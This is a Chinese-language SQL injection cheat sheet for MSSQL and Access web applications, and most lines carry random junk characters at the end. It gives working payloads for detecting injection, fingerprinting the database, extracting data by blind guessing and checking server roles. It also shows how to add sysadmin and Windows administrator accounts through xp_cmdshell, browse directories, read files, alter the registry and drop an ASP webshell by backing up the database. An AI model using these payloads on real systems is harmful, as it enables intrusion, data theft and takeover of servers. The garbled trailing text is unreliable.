1.判断是否有注入;and 1=1 ;and 1=2 |X,|QC*7?
2.初步判断是否是mssql ;and user>0 T|6jGZS^|W
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3.注入参数是字符'and [查询条件] and ''=' bKj%s@x
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' 8i|w(5m;
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5.判断数据库系统 RG3l.jL
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;and (select count(*) from sysobjects)>0 mssql u\LiSGePN
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;and (select count(*) from msysobjects)>0 access TlI<1/fP}
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 ?OE.O/~l
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Y4cYZS47
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 |\n@3cIK
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9.(1)猜字段的ascii值(access) VA"*6F
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 {/X4(;~0
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(2)猜字段的ascii值(mssql) :N<.?%Kf
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ~6pr0uyO`
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10.测试权限结构(mssql) z-@=+4~
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- )J_\tv
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- [6)UhS8
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- n:0}utU4
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 'Q
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- )mJf|W!Z#
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 3#vinz
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;and 1=(select IS_MEMBER('db_owner'));-- ~%/Wupf
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11.添加mssql和系统的帐户 .MVY B\6Q0
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;exec master.dbo.sp_addlogin username;-- PN$X N<
;exec master.dbo.sp_password null,username,password;-- osOVg0Gyj
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- zP:cE
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;exec master.dbo.xp_cmdshell 'net user username password { F'Kk\f%:
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- ~XydQJ^*
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- jSOS}!=
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12.(1)遍历目录 E"%2)
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;create table dirs(paths varchar(100), id int) ESg+n(R
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;insert dirs exec master.dbo.xp_dirtree 'c:\' fa&-. *
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;and (select top 1 paths from dirs)>0 >#}2J[2HQ
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ygSL
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(2)遍历目录 sBK <zR
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- l;"Ab?P\
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 *9 Q^5;y
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 g7CXlT0Q6
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ?\/qeGW6G
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 G~wF nl%
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13.mssql中的存储过程 Fl{WAg
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xp_regenumvalues 注册表根键, 子键 B/J&l
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 H]\Zn%.#
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xp_regread 根键,子键,键值名 QM5 .f+/
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;exec xp_regread _P,^_%}V06
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 BHj\G7,S
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xp_regwrite 根键,子键, 值名, 值类型, 值 z *9FlV
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 /%n`V
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 1%J.WH6eQ
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xp_regdeletevalue 根键,子键,值名 ~vgA7E/XV
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 I,ci >/+b
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 k$Rnj`*^
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14.mssql的backup创建webshell Ybg-"w
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use model PoShQR<
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create table cmd(str image); va|rO#.=
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insert into cmd(str) values (''); x`Fjf/1T*m
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backup database model to disk='c:\l.asp'; 8cm@a*2%
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15.mssql内置函数 Bmo$5$
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;and (select @@version)>0 获得Windows的版本号 W W "i
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa \&}G]
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;and (select user_name())>0 爆当前系统的连接用户 fP%Fyg^k
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;and (select db_name())>0 得到当前连接的数据库 S<6k0b(,_3
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16.简洁的webshell rUwE?Ekn/
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create table cmd(str image); !rTmR@e$/
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insert into cmd(str) values (''); (paf2F`~#
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backup database model to disk='g:\wwwtest\l.asp';